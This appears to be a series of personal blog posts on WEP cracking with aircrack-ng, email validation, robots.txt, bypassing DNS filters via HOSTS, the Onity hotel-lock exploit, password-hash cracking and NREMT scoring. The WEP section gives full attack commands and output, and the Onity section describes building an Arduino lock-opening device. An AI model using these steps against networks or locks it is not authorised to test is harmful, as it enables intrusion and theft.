We want to identify an AP that is using WEP encryption, not WPA or WPA2. Once we’ve figured out the BSSID and the channel, we’ll kill the program with Ctrl+C and restart it, filtering the results to that specific AP. We’re also going to capture the data to a file using the -w switch. Below, we use the-c to specifiy the channel and –bssid to specifiy the BSSID of the AP. Also, the filenamehere can be anything you want.

airodump-ng -c 1 -w filenamehere --bssid 00:11:22:33:44:55 wlan0

You should now see the same screen as before, but with only the selected interface. The #Data column may or may not be incrementing, depending on whether or not you’re already connected to the network and other factors. We want the #Data column to be around 10,000, and it would take forever to wait..so let’s speed that up.

Faking Authentication & Capturing IV Packets

Open another terminal window. We’re going to fake an authentication to the AP, so that our packets register (and we can record the transactions). Issue the command:

aireplay-ng -1 0 -a (BSSID) -h (Your MAC) -e (ESSID) wlan0.

In this example, I would enter:

aireplay-ng -1 0 -a 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF -e WiFi2 wlan0

Note: If you don’t know your MAC address, omit the -h and the MAC address. It should use the default address.

If successful, you’ll see an output like this:

17:08:35  Waiting for beacon frame (BSSID: 00:11:22:33:44:55) on channel 1

17:08:35 Sending Authentication Request (Open System) [ACK] 17:08:35 Authentication successful 17:08:35 Sending Association Request [ACK] 17:08:35 Association successful :-) (AID: 1)

We used the -1 switch to tell aireplay-ng to perform an authentication attack with a delay of 0. Sometimes this doesn’t work for a number of reasons, usually MAC address filtering is enabled (in which case you need to figure out the MAC of an approved computer, and spoof it), or you’re too close or too far away.

Now that we’ve authenticated, we’ll spam the router with ARP packets to boost the #Data value in the first terminal window. Issue the following command:
aireplay-ng -3 -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF wlan0
If successful, you’ll see output like:

17:09:20  Waiting for beacon frame (BSSID: 00:26:62:65:B7:78) on channel 1
Saving ARP requests in replay_arp-1227-171920.cap
You should also start airodump-ng to capture replies.
Read 1440 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps)

There should be a slight delay, followed by a bunch of text. Your computer may show this as one line that continually changes or as a line after line:

Read 38023 packets (got 19897 ARP requests and 10309 ACKs), sent 11410 packets..
Read 38174 packets (got 19993 ARP requests and 10358 ACKs), sent 11461 packets..
Read 38313 packets (got 20083 ARP requests and 10404 ACKs), sent 11510 packets..
Read 38455 packets (got 20171 ARP requests and 10451 ACKs), sent 11560 packets..
Read 38609 packets (got 20269 ARP requests and 10501 ACKs), sent 11610 packets..
Read 38748 packets (got 20357 ARP requests and 10546 ACKs), sent 11660 packets..
Read 38889 packets (got 20447 ARP requests and 10592 ACKs), sent 11711 packets..
Read 39033 packets (got 20535 ARP requests and 10640 ACKs), sent 11761 packets..
Read 39174 packets (got 20624 ARP requests and 10686 ACKs), sent 11810 packets..
Read 39326 packets (got 20719 ARP requests and 10735 ACKs), sent 11860 packets..
Read 39481 packets (got 20810 ARP requests and 10782 ACKs), sent 11911 packets..
Read 39635 packets (got 20909 ARP requests and 10832 ACKs), sent 11961 packets..
Read 39776 packets (got 20999 ARP requests and 10879 ACKs), sent 12011 packets..
Read 39919 packets (got 21090 ARP requests and 10926 ACKs), sent 12061 packets..
Read 40071 packets (got 21184 ARP requests and 10975 ACKs), sent 12111 packets..
Read 40212 packets (got 21271 ARP requests and 11020 ACKs), sent 12161 packets..
Read 40355 packets (got 21363 ARP requests and 11067 ACKs), sent 12211 packets..

Cracking the Key — Finally!

Once we’ve acquired enough #Data (these are the captured IVs), we can attempt to crack the key by using aircrack-ng. Open a third terminal, and issue the following command:

aircrack-ng -b 00:11:22:33:44:55 filenamehere-01.cap

Be sure to append “-01.cap” to the filenamehere value you picked (above). The -b value should be the BSSID of the access point.

The aircrack-ng program will read the captured IVs from the filenamehere-01.cap file, and you may see it scan through several screens (below) while it is testing the keys against the known IVs:

Opening test-01.cap
Reading packets, please wait...

                        Aircrack-ng 1.1 r1904

             [00:00:01] Tested 362881 keys (got 13078 IVs)

KB depth byte(vote) 0 1/ 5 56(17408) 84(16896) DF(16896) F5(16896) 2D(16640) 1 0/ 2 B8(18688) A6(17664) AC(17408) 96(17152) F7(17152) 2 1/ 2 5A(18176) AC(17664) 32(16896) C8(16896) CF(16896) 3 0/ 1 67(19712) 03(18176) 81(17920) 53(17408) 9B(17408) 4 2/ 3 61(18176) 3B(17408) 4A(17408) 70(17408) 5F(17152) 5 7/ 8 B4(16640) 17(16384) B8(16384) CE(16384) EA(16384) 6 2/ 3 A5(17920) BE(17408) AD(17152) 36(16896) 2C(16640) 7 0/ 1 01(19968) F7(17408) 17(17152) 43(17152) C8(17152) 8 2/ 3 80(17664) 68(17152) 0F(16896) 5D(16896) E7(16896) 9 2/ 3 D3(17664) 72(16896) 1E(16640) AF(16640) D2(16640) 10 6/ 7 1C(16896) 39(16640) 6D(16640) 08(16384) 3D(16384) 11 1/ 2 42(18176) 12(17920) 3F(17664) 95(17152) FE(16896) 12 3/ 4 18(17408) F9(16896) D5(16640) E5(16640) 11(16384)

If you were successful, you should finally see a screen that looks like this:

            Aircrack-ng 1.1 r1904

             [00:00:15] Tested 535861 keys (got 13078 IVs)

KB depth byte(vote) 0 52/ 54 CA(14592) 2F(14336) 34(14336) 78(14336) 83(14336) 1 10/ 1 BB(16128) 1F(15872) 7C(15872) 8C(15872) 19(15616) 2 12/ 26 67(16384) 15(16128) 6F(16128) AA(16128) 5E(15872) 3 4/ 12 9B(17408) CF(16896) D5(16896) 16(16384) 1A(16384) 4 16/ 4 FF(16128) 77(15872) D5(15872) DD(15872) 27(15616)

                     KEY FOUND! [ XX:YY:ZZ:AA:BB ] 
Decrypted correctly: 100%

That’s it! In a matter of 15 seconds, this program was able to completely decrypt the wireless password for the access point. Moral of the story: If you don’t want people getting in to your network, use WPA (or better yet, WPA2) encryption.

Cleaning Up

Before you connect to the internet again, you’ll need to issue airmon-ng stop wlan0 to release your adapter. Also, if you’re connecting via the command line, you can enter the key (without the colons) normally, or (if it’s a passphrase), remember to use the s: before entering the passphrase. Bear in mind, though, that aircrack-ng will give you the key in HEX. If you use the WEP passphrase mode for your key, it may not match up with what you’re familiar with, but give it a shot in HEX mode.

Cracking WEP Encryption With aircrack-ng

Email Address Validation in PHP

Of all the input to validate, e-mail addresses seem to be one of the trickiest. At first glance, you might try validating the address with a simple regular expression, based on the usual requirements of an email provider. Let’s say two or more characters followed by an ‘@’ sign, followed by two or more characters, then a period and two or more characters. Two characters seems to be a good lower limit, because of addresses like ‘me@domain.com’ or ‘admin@site.co.uk’. But here’s where problems start to crop up.


If we specified only alphanumeric characters, plus maybe an underscore, a domain like “.co.uk” would fail, or only return “user@site.co”. We could add an optional part to the TLD regex to allow domains like that, but it looks like we’ve forgotten about users like “user.name@mail.com”. So maybe we should go back and expand the username portion as well. While we’re at it, we might as well incorporate all of the RFC spec, which results in something like this. While most mail clients (gmail, hotmail, etc) may not allow things like the plus sign (firstname+lastname@mail.com), there are plenty of users out there who still use this for various reasons. When your validation is too strict, chances are you’ve overlooked something.

I won’t continue to drag on about the inadequacy of regular expressions in validating email addresses. If you’ve visited the RFC-compliant regular expression (which is a bit overkill, but illustrates the point nicely), you get the message. Time to move on.

So how can we make sure the user is entering a valid email address? Well, the most practical way would be to simply send them an email. Sanitize the input, and fire off a validation email with a “confirm account” link. No worries about regular expressions, no frustrated users with odd email addresses, and no fake emails. If you’re on a shared host that limits the amount of emails you can send, you could try stripping the domain off of the email and validating the domain before sending. This should stop emails like “asdf@asdf.com” from getting through, but will pass along “aksjdflljklasdflj@gmail.com”. You can do this with the following bit of code:

$is_valid = (filter_var($email, FILTER_VALIDATE_EMAIL)) ? checkdnsrr(substr(strrchr($email, "@"), 1),"MX") : false;

Email Address Validation in PHP

A Backwards Robots.txt File

When a web crawler such as GoogleBot creeps around the web, it starts sucking up information and reporting it back to the search engine. In an effort to keep bots out of certain parts of a website (for whatever reason), a guy by the name of Martijn Koster came up with an idea:

Put a file in the root directory of the site that tells robots what not to look at!

From there, the Robots Exclusion Standard was born. Basically, you create a text file named robots.txt in your root directory (example.com/robots.txt), and it tells crawlers which parts of your website to stay away from. You can read about it in more detail here or by performing a google search.

What’s the problem?

A sample robots.txt file might look something like this:

User-Agent: *
Disallow: /images/
Disallow: /cgi-bin/

In this instance, the file is telling all bots (by using the * wildcard character) that it’s not allowed to look in the /images/ or /cgi-bin/ folders. This is reasonable enough, and most legitimate web crawlers follow the robots.txt file. However, you can plainly view the file in your browser (see:http://www.facebook.com/robots.txt) and this does nothing to prevent malicious or poorly-coded bots from ignoring your wishes. The robots.txt file is essentially a sign that reads “I have data in these folders that I don’t want anyone to know about. Please don’t look there and please don’t tell anyone.”

[Do not throw stones at this sign.]

If I’m snooping around a website, one of the first things I look at is the robots.txt file. It’s usually a huge list of things that people don’t want you to look at – which, of course, makes me all the more interested in looking for them. Here’s an example:

User-agent: *
  Disallow: /admin/
  Disallow: /members/
  Disallow: /webmail/
  Disallow: /personaldata/

I hope you see the problem.

Originally, the robots.txt standard only allowed a Disallow directive, but lots of search engines are now incorporating an Allow directive, as well as some basic pattern matching.

I leveraged the Allow directive to write a “backwards” robots.txt:

User-agent: *
Disallow: /*
Allow: /$
Allow: /articles/
Allow: /files/
Allow: /txt/
Allow: /tor/
Allow: /tools/

Allow: /about Allow: /anon-sopa Allow: /cards Allow: /computers Allow: /crypto Allow: /cryptographic-hashes Allow: /documents Allow: /ems-home Allow: /ems-videos Allow: /index Allow: /links Allow: /medicine Allow: /misc Allow: /software Allow: /voynich Allow: /zombies

To break this down line-by-line:

  • User-agent: tells all bots that they should follow these rules
  • Disallow: / tells the bot not to crawl the entire site
  • Allow: /$ makes use of Googlebot’s pattern matching, and allows http://cmattoon.com/ to be crawled, as the URI ends in a slash. (The $ marks the end of the URI.) This overrides the Disallow: /* directive on the line before it.
  • As you can see, the file goes on to grant permission for the public parts of the site, rather than announcing the parts I want to remain hidden.

The big question becomes whether to Disallow a directory (in my case, the entire site), then grant explicit permission (General => Specific), or whether to Allow files before issuing a Disallow for the directory. I can’t find a solid answer on this, so I’m modeling mine based on Google’s robots.txt (I’ve heard they know a thing or two about search engines). Google follows the (logical) General => Specific pattern, which was my first intuition. Mark the calendar: I did something right on the first try!

As a warning, this could easily cause a conflict with any of the myriad crawlers out there. There is no uniform standard, and nobody (including you!) is required to adhere to the recommendations that do exist.

That being said, a quick test of my site with the new backwards robots.txt (conducted using this tool) showed that it works for the major search engines. I’m not very concerned about my search engine ranking, so I’d rather be a geek and play with the file than fret over my page rank. If page rank and SEO are important to you, this may not be the best way to go.

Finally, for the people that are really worried about this, I recommend looking into using metadata, or playing with things like the x-robots-tag. There’s also an article on .htaccess and SEO that discusses the canonicalization of HTTPS vs HTTP versions of your site.

A Backwards Robots.txt File

Bypassing DNS Filters Without a Proxy – HOSTS file

This is “Bess”, the face of the annyoing web filter that was the bane of our middle school web surfing days.

Bess Can't Go There

Since Bess (N2H2 Corp.), there have been scores of other web filters installed by corporations, schools, and oppressive parents everywhere. The first thing to spread through the more tech-savvy kids is the use of a web proxy, usually along with a recommendation of one or two that haven’t been detected by that particular web filter yet. Alas, they eventually catch on, and even the best web proxies end up blocked. Fortunately, a friend of mine had his own web server in high school and hosted his own proxy server on there. Take that, Bess.

Anyway, there are a number of ways to block web content, but I’m only going to focus on one here – DNS Filtering.

Simply put, when you type “www.google.com” into the address bar of your browser, your computer looks up “directions” on how to get to google’s web server (hosted at Your computer contacts other computers, looking for the IP address associated with “google.com”. A DNS Filter will recognize the request for “google.com”, and give it a fake answer – thus bringing up the “This domain is blocked” message.

Enter the HOSTS file

The HOSTS file on a computer can store those directions, so that the computer doesn’t have to ask for them. There’s also the browser cache, which does this on a temporary basis (thus, why the first time you view a website, it takes longer to load than subsequent views). To bypass the DNS Filter, we just have to add in a few lines to the HOSTS file.

*CAUTION – As with anything dealing with computers, you can mess up your computer if you do this wrong. If you don’t feel comfortable doing this, have your FWIGWC (Friend Who Is Good With Computers) do it.

Instructions for Windows 7/Vista

  1. Start Menu > Accessories > Notepad (Right Click, “Run As Administrator”) – You MUST have Administrator priveleges to do this.
  2. File > Open (C:\Windows\System32\drivers\etc\hosts) – This file is hidden and has no extention. Just type “hosts” into the filename and hit Enter.
  3. You should see the following file, give or take:

      # Copyright (c) 1993-2009 Microsoft Corp.
      # This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
      # This file contains the mappings of IP addresses to host names. Each
      # entry should be kept on an individual line. The IP address should
      # be placed in the first column followed by the corresponding host name.
      # The IP address and the host name should be separated by at least one
      # space.
      # Additionally, comments (such as these) may be inserted on individual
      # lines or following the machine name denoted by a '#' symbol.
      # For example:
      #     rhino.acme.com          # source server
      #     x.acme.com              # x client host
      # localhost name resolution is handled within DNS itself.
      #       localhost
      # ::1             localhost

  4. Look up the IP address for the site you are trying to access. You can do this with this tool.
  5. Add the following line to the HOSTS file (don’t use the #) to unblock google.com (sample)
  6. www.google.com – There should be one space between the IP and hostname.

Some sites, like Facebook, utilize an entire array of different domains to host other data (images, scripts, etc). To unblock Facebook, you’ll need to copy this list, and add it to your HOSTS file.

Bypassing DNS Filters Without a Proxy – HOSTS file

Onity Hotel Lock Exploit

Update: 12/28/2012 – I’m a bit late on this, but this has actually been exploited for criminal activity. Imagine that. Apparently, it’s not as “unreliable, complex and difficult to implement” as Onity thought.

Update: 8/19/2012 – Anxiously awaiting delivery of ATtiny85 chips to convert this into an even more compact device (also would be cheaper and able to be mass-produced).

Cody Brocious did a presentation at Black Hat 2012 on how to exploit the Onity hotel locks, and is the main source of information for this page. His original page for the talk is located here. Please take the time to visit Cody’s site if you’re interested in how this works. I’m only going to present a brief overview, so as not to detract from his paper.

Unfortunately, I don’t have my own personal hotel locks to play with, and hotels thus far have either not had a GM available when I stopped in or the GM has dismissed this as nonsense. One even said “If I feel there’s a problem with our locks, I’ll contact our Onity rep. We pay them good money, so I’m sure this is all taken care of.” An engineer at Holiday Inn was very interested in resolving it, but I’m not aware of anyone making progress in getting the PP codes. (If you have a PP, there are plenty of us interested in engineering a software solution, rather than forcing a hardware update.)

A quick survey shows about 60-75% of the hotel locks in  Pittsburgh (city, not region) are vulnerable to this at the time of this writing.

The Lock


If you’ve stayed in a hotel, you’ve probably seen this lock. Cody asserts this lock is one of the more popular brands and gives a figure of over 4 million installed. What you probably haven’t seen is the programming port, located on the bottom of the lock (red arrow). It uses a size “K” DC adapter (5.0mm OD x 2.1mm ID, center positive) to communicate with the programming device (Portable Programmer, PP). I’ll refer you to Cody’s site for specifics on the communication protocol. Essentially, the PP and lock work as master-slave, with the PP as the master. The PP transmits a 3.3v signal (HIGH) when idle, and the signal drops into a LOW state in order to communicate.

When the locks are installed, a sitecode is written to the lock’s memory. This is a 32-bit value that’s unique to the facility, but shared among all equipment in that hotel. After that, there are several other values, including the code for the Master keys and the Programming key (more on this later).

Using the PP, staff are able to open the lock manually. The PP issues an “OPEN” command in combination with the sitecode. Since the sitecode is hidden from even the property owner, this is supposed to provide a bit of security against anyone just opening the lock, right?

(Of course not, you wouldn’t be reading this if that were the case!)

All we have to do is read the sitecode from the lock’s memory, and mix it in with the OPEN command (which is the same for every lock). This takes around 220 milliseconds to perform.

Open Command

The lock simply opens, and the access log reads as though the PP was used by staff to open the door. This is done by programming the Arduino to continuously send “open” commands via the DC plug. In practice, it takes around 1-2 seconds to open the lock, due to timing problems and at what point in the code you insert the plug into the lock. For all intents and purposes, it’s instantaneous.

The Arduino

If you haven’t heard of the Arduino yet, it’s similar to the BASIC Stamp microprocessor, but faster, cheaper and open-source. It uses it’s own open-source programming language, which is heavily based on C. An Arduino Uno runs around $35 at RadioShack and the Arduino Mega is around $65. Additional parts you’ll need (if starting from scratch) are:

  • An A to B USB adapter (the big square one that’s probably plugged into your printer)
  • Two “K” size DC barrel plugs (5.0mm OD x 2.1mm ID). Center is positive for both.
  • A few pieces of wire and a 5.6k resistor (green-blue-red for those people)
  • A 9v battery plug. Wire this to one of the DC plugs. This will be the power source for your Arduino. (You can run it off of USB power, but it won’t be as stealthy if you have a computer attached to it)
  • The Arduino software (Free – arduino.cc)
  • The source code – not provided here. (It’s not hard to find, but I’m not giving handouts)

I also used some heat-shrink tubing and a lighter (hence the black smoke marks on the clear tubing), as well as two small pieces of 22ga solid wire. Everything is twisted together (not soldered) and held together with heat-shrink tubing.

I modified the code to blink the LED on pin 13 five times (50ms on/off) at the beginning of each loop, because I like feedback. I’m also working on code that will intercept the transmissions between the lock and a PP and send it back to my computer, on the off chance one of the managers calls me back and says “Yeah, sure, take a look”.

It’s not pretty, but it gets the job done (power supply not shown). Add a cool project enclosure, and you have yourself a portable master key to any room in any hotel that uses Onity locks.

Protect Yourself

Onity has acknowledged the problem (+1 point to Onity), but claims “the hacking methods [are] unreliable, and complex to implement.” If by “complex”, they mean “anyone with a few pieces of wire and a BIC lighter can throw this together in the middle of Starbucks in 10 minutes”, then yes, it’s very complex. Cody claims varying success with this device, but I don’t know that I’d call it “unreliable”. (In my limited tests, it has worked 100% of the time.)

Onity is currently manufacturing plugs (see above link) to block the programming pin and also providing a TORX screw to replace the battery cover. That will stop anyone without a TORX bit (Less than a dollar, if I recall correctly) from using this method. They totally won’t spend that extra dollar at RadioShack.

They’re also talking about a “firmware” update, by which they apparently mean “replace the circuit board in all 4 million locks and issue new programming devices to each hotel”. It’ll probably only be a matter of time until this new “firmware” is broken, too.

Case-in-point: Don’t let them fool you, this is inexpensive, shockingly easy to implement, and more reliable than it should be.

I don’t want to sound like I’m suggesting a boycott of anyone using Onity locks, but if you’re concerned about your safety, you may want to choose a hotel with a different lock (given the option). A brief look at Pittsburgh hotels (city, not suburban) shows that around half of them have Onity locks.

It goes without saying that you should be using the chain lock /bar latch on the door (but this can be kicked in easily or opened with a rubber band). Hopefully, you’d wake up if this was going on, but I’ve slept through much more.

While the old adage “locks are meant to keep honest people out” still holds true, this particular lock requires almost zero skill to open. If you can install iTunes, transfer music to your iPod, then plug it into your car sound system, you can do this.

Onity Hotel Lock Exploit

A Primer on Cryptographic Hashing

Cryptographic Hashing

This article is a brief explaination of cryptographic hashing algorithms. If you’re looking for a hash generator, you can find that in the tools section.

One of the more common aspects of cryptography is that of cryptographic hashing. A hash is simply a one-way encryption of data, whether it be a string (“Hello World”) or a file. One-way encryption means that the data (plaintext) theoretically cannot be determined from the hash (ciphertext). In practice, however, this isn’t necessarily true – but there is no mathematical formula or operation that can reveal a password from a given hash. (Seecracking hashes, below)

I’m not going to get into the technical details of the various hash algorithms here, since it’s really not that important and the average reader probably doesn’t care anyway. What are important are the various differences between the myriad algorithms in use.

MD-5 (Message Digest 5)

MD-5 is one of the early hash algorithms, and is still in common use today. MD-5 produces a 128-bit (16 bytes or 32 hex digits), well, message digest from a given “message” (data). No matter how long or how short the message is, it will ALWAYS result in a 32-digit hash. As an example, a few strings and their respective hashes are given below:

null d41d8cd98f00b204e9800998ecf8427e
Hello World b10a8db164e0754105b7a99be72e3fe5
HelloWorld 68e109f0f40ca72a15e05cc22786f8e6

As you can see, even a small change in input (removing the space between “Hello” and “World”) results in a large change in the output. (Mathematically, this is known as the Butterfly Effect, although the original analogy referred to a Seagull.) There are an extraordinary large number of possible MD-5 hashes, but there are an infinate number of inputs. This leads us to our next bird-themed mathematical principle: the pigeonhole principle. Essentially, if you have x number of inputs and y number of possible outputs, and x > y, eventually two or more items from set x are going to fit into the same y value. In other words, if I give you five apples and three baskets, and tell you to put all the apples in the baskets, at least one basket will have more than one apple in it.

So what does this mean for us?

If two inputs can have the same MD-5 hash, then it’s theoretically possible to trick any system that relies on verifying hash values. For example, most password scripts don’t actually compare your password. Instead, they compare them indirectly by means of comparing the hash stored in the database with the hash of the typed password.

Password Hashing

MD-5 hashes are also commonly provided to check the integrity of downloaded files. Suppose you download a file with a given hash, then verify it. The verification comes back positive – that is, the hash of the file is exactly what it’s supposed to be. Nobody tampered with the file, right?

Not exactly.

It’s been proven (add citation later) that a file can be modified to include malicious code, yet still have the exact same MD5 hash. This is just a mathematical possibility, of course, and probably does not hold true for every program out there (or even most programs, for that matter). The bigger security risk (in my opinion, anyway) are the vast majority of users who don’t check the MD5 checksum to begin with.

Cracking Hashes

Back to passwords – the question always comes up from some script kiddie or security-conscious consumer: “Can a hashed password be reversed?”

Technically, the answer is no. It is 100% impossible to reverse-engineer a hash, due to the way they’re calculated. “Given an MD-5 hash of a password, can I find the plaintext password?” is a more appropriate question, and the answer to that is “Of course you can!”

I’m not going to get too involved in cryptanalysis here, but there are three basic ways to crack hashes of all shapes and sizes.

Brute Force

This method is simply exhausting every possible combination until you find the correct one. You’ve probably done this at some point in your life when you’ve forgotten the code to your combination lock, and sat there trying 001,002,003,004… If you didn’t just give up and cut the lock off, it probably took you a good portion of the afternoon.

Fortunately, computers (even basic desktop machines like you probably have at home) are able to process a couple million combinations each second. Unfortunately, the huge number of possible combinations used in modern cryptographic algorithms would require, on average, something like 100 times the life of the universe to exhaust every single possible combination. In reality, however, the correct arrangement lies somewhere in between. You may get lucky and crack it in a few minutes, or it could take you several weeks. (Also consider that, statistically speaking, “fast” could also mean 400 years).

In short, brute force methods aren’t the most effective way to go about cracking a hash. In select circumstances, and with the right software, brute force can be a great supplement to other attacks. Cracking NTLM passwords, for instance.

Dictionary Attack

In it’s most basic form, a dictionary attack simply consists of gathering the hashes for every word in a “dictionary”, or a list of pre-defined words/phrases. Numerous sites exist that have fairly large and exhaustive dictionaries, a Google search will turn up some examples.

If you know your target, or are trying to remember a lost password, you have an advantage: you may be able to figure out the hash even quicker by using a custom dictionary.

Recently, I was able to acquire the hashed passwords for all the users of our network at work. Within 15 minutes, I had close to 80% of the hashes cracked using a custom dictionary attack, supplemented by brute force in a few instances (including all but one of our administrators). The other IT folks were notified, and that gaping security hole is now fixed when the server was upgraded. :)

This is why it’s important to use complex passwords – upper/lowercase letters, numbers and symbols. Longer passwords are obviously preferable over short ones, because of the exponential growth of the keyspace (possible number of passwords).

Rainbow Tables

The final method I’ll discuss here are rainbow tables, which are basically pre-computed hash tables. The key difference between a dictionary attack and a rainbow table is that during a dictionary attack, the computer has to:

Read Word/Phrase >> Convert to MD5 Hash >> Compare Hashes

In a rainbow table attack, we eliminate the middle step (which takes a fair amount of computing power in comparison to the read or compare steps), thus speeding up the process. It may not seem like much, but shaving even 1/10 of a millisecond off of each comparison adds up, espicially at speeds of 2-3 million comparisons per second.


Cryptographic salt is just one of those terms, and I’m not sure where it came from. Cryptographic salt is used to change the input in a standard, replicable way, so that the output is different for each computation.

Let’s go back to the list of password hashes I acquired. I immediately noticed that a handful of the hashes appeared to be the same. Then, I looked at the users associated with the hashes, and noticed that they were the part-time/casual folks who hadn’t been around in a while. A little bell went off in my head: “I doubt all of these people chose the same exact password… I’ll bet they just haven’t changed it from the default password that we give to new accounts!” So I typed our default password into the hash calculator, and bingo! Several passwords cracked at once!

Let’s take this a step further: Suppose someone acquires a list of password hashes from a given site. After cracking one password, he notices that several other accounts use this same password too. He now has access to not only several people’s accounts on this site, and it’s also likely these people use the same password for another site.

Same Password - Same hash

But let’s add some cryptographic salt into the process – instead of comparing md5(password), let’s add another known constant (known to us, anyway). Date of birth, e-mail address/username, phone number, last login time (password hash needs updated each time with this, or it won’t work). For this example, I’ll chose date of birth.

md5(secretpassword) = 2034f6e32958647fdff75d265b455ebf md5(secretpassword12071941) = 6db39407ab20f21c4d3e12e8611fa42amd5(secretpassword04171969) = e24f110ad60e6bf2b80f8e3ca80e0441

As you can see, even though both users have the same password (“secretpassword”), the hash for each person is different, because it’s salted with the date of birth.

A dictionary attack probably wouldn’t find “secretpassword12071941” in it’s list of common words and phrases. Some dictionary attack software will automatically append numbers, letters, words, etc to each dictionary phrase (password,password1,password2,etc), so simple salts (single-digit numbers, common usernames, etc) should be avoided.

Assuming the hacker manages to crack one of your salted passwords, he would be given the string of the password+salt. In the instance above, the hacker would get the string “secretpassword04171969“. If he tries to use this as a password, several things will happen:

  1. The computer will add the salt string (04171969), and hash the final string of “secretpassword0417196904171969“, and then compare the hashe24f110ad60e6bf2b80f8e3ca80e0441 with ab432c3885f9d05089fd7f10e4878f31, and the login attempt will obviously fail.
  2. After the failed login, he may either assume the user has changed their password and give up, or realize it’s salted and start trying:
    • secretpassword0417196
    • secretpassword041719
    • secretpassword04171
    • secretpassword0417
    • secretpassword041

(or, maybe logically, he’d start off with “secretpassword”). Either way, this is one of the reasons it’s important to implement a “max tries” feature in your login script. He’s already tried one, and now he’d only have two more shots to correctly guess the password.

Other Hashing Algorithms

The MD-5 algorithm is considered to be “broken”, meaning that some really smart folks out there have found a way to trick it. So it’s not very secure, and shouldn’t be used for high-security tasks.

There are many different algorithms out there, and they all perform the same function: one-way encryption of data. In PHP, the SHA-1 (Secure Hash Algorithm 1) is also commonly used.


PLEASE, PLEASE, PLEASE do not use MD5, SHA1 or any of the other algorithms if you’re implementing a web application. Assume they will be stolen. While you probably could write a hashing function (not a new algorithm, but a way of salting/storing/retrieving passwords), there are already excellent libraries out there for you to use. Trust the pros, don’t go this on your own. If you’re using PHP, Bcrypt is the way to go.

A Primer on Cryptographic Hashing

The NREMT Cut Me Off After 70 Questions! Did I pass?

If you’re here for a specific answer, click the link to jump to the right section. Otherwise, you can read this page start-to-finish.

How The NREMT Exam Scores Candidates

So you’re about to take the NREMT, but are confused about how it’s scored? What do you mean there’s not a certain number of questions I need to get right?! You’ve come to the right place: that is, a (marginally) technical overview of how the test works.

Hopefully, your instructor talked with you about what “adaptive” testing means. If not, or if you’re still confused, read on. In a standard (pencil-and-paper) exam, you’re usually graded by percentage:

Number of Questions Correct / Total Questions = Score (%)

Other exams, like the SAT, use a slightly different scoring system which may include a penalty for each wrong answer (e.g., 0.25 points). The NREMT does not do this, per se.

In adaptive testing (CAT), the difficulty of the test adapts to your performance, or your perceived ability. In other words, the NREMT will appear challenging to everyone who takes it. The NREMT isn’t based on the number of questions answered correctly (or the number answered incorrectly for that matter). It’s all based on whether or not it perceives you as entry-level competent.

The scoring starts off with a metaphorical “bar” (as in “raising the bar”). This is the level that entry-level competent EMT’s are supposed to perform to, and is the standard against which you’ll be evaluated during the written exam. Since I don’t know exactly how the NREMT does it, I’ll make up a hypothetical system here:

Level 1 – Knowledge Questions.
Level 2 – Comprehension Questions.
Level 3 – Application Questions
Level 4 – Analysis/Synthesis
Level 5 – Synthesis/Evaluation Questions

And now, a chart!

NREMT Adaptive Test - Illustration

Again, this doesn’t represent their actual scoring system. It’s just an illustration of the concept.

Both students start out with an “average” question. Student one answers correctly, and gets a “level 4” question. After answering that correctly, he gets a “level 5” question wrong, so he gets bumped down to “level 4”. He gets the next “level 4” question correct, and moves up to “level 5”, and so on.

Student #1 passes the test, because he “stayed above the line” (level ‘3’) for most of the test.

Student #2 gets the first question wrong, so the computer gives him an easier question. He gets this one wrong, too. The test gives him an even easier question, which he gets correct, and moves back up to level 2. He eventually starts getting anwers correct, and he is presented with more challenging questions. Despite a strong finish, he stayed “below the line”, and will probably have to re-test.

Remember: these numbers and the progression from question to question is not exact. It’s just an illustration of the concept.

How Good is “Good Enough”?

The NREMT requires a 95% confidence level. This means that the computer has to be 95% sure that you are “entry-level competent” before it will pass you. It will keep presenting you with questions (with difficulty adjusted as described above) until it is 95% sure that you know your stuff. On the other hand, the test can also end early if it is 95% sure that you are below “entry-level competent”.

Also, be aware that you have to pass each section with a 95% CI. I’m sure you’ve heard of folks who have failed because of one category. Logically, the fewer questions there are in the section, the tighter your margin of error is. From people that I’ve talked to, it’s not uncommon to have only 3-4 pediatric questions, if you get them all correct. That’s probably what saved me on my exam!

The NREMT Exam Shut Off at 70 Questions! What Does That Mean?!

Your NREMT exam just finished much quicker than you had expected. “They haven’t even asked me about that stupid Parkland fomula my instructors said to memorize. It must be coming up soon!” you thought, but then the exam unceremoniously terminates.

But it won’t tell you that it’s made up its mind.

The good news is this:

From most people that I’ve talked to, people who get cut off early end up passing. The people who come close to maxing out the questions are the ones that failed. But why?

Someone who consistently answers questions wrong (let’s take the extreme case of someone simply guessing on each question). That person is going to get at least a few questions correct. They’re going to go back and forth around that metaphorical bar, and the computer won’t reach 95% confidence. It’ll keep throwing questions out there until it either reaches the 95% confidence or it runs out of questions. Generally speaking, the more questions you get, the more the computer was initially uncertain about whether to pass or fail you. You were right on the line the whole time. That being said, I’ve talked to several people who have had tons of questions on their NREMT exam and ended up passing. They just happened to have a strong finish, compared to someone else who was right on the edge and got a few of those “we never even covered this in class!” questions.

Case-in-point: If you ended the test in relatively few questions, chances are that you passed. Beyond that, it’s just a wild guess. There’s no point in stressing out over it – spend this time enjoying being done with Paramedic class! (You can always retest later!)

How Many Questions Are On the NREMT? How Long Will I Have?

This data is available on the NREMT website (see below). Note that the EMT-Intermediate (99) exam is a ‘normal’ test, not CAT. You can apply for accomidations under the ADA, which may allow you to have “time and a half” for the test. See the links below for more information.

Number of NREMT Test Questions by Exam

Exam # Questions Max Time (hrs)
Emergency Medical Responder (NREMR) 80-110 1:45
EMT-Basic (NREMT) 70-120 2:00
Advanced EMT (NRAEMT) 135 2:15
EMT-Paramedic 80-150 2:30

Source: http://www.nremt.org/nremt/EMTServices/certpolproc.asp

Exam Categories by Percentage

Exam Content (%) EMR EMT EMT-I (85) EMT-I (99) AEMT Paramedic
Airway, Respiration & Ventilation 17-21% 17-21% 17-21% 17-21% 17-21% 17-21%
Cardiology & Resuscitation 16-20% 16-20% 16-20% 16-20% 17-21% 17-21%
Trauma 19-23% 19-23% 19-23% 19-23% 18-22% 18-22%
Medical, OB/Gyn. 27-31% 27-31% 26-30% 26-30% 26-30% 26-30%
Operations 11-15% 12-16% 12-16% 12-16% 12-16% 12-16%

Source: https://www.nremt.org/nremt/about/exam_development.asp

How long until I get my NREMT results?!?

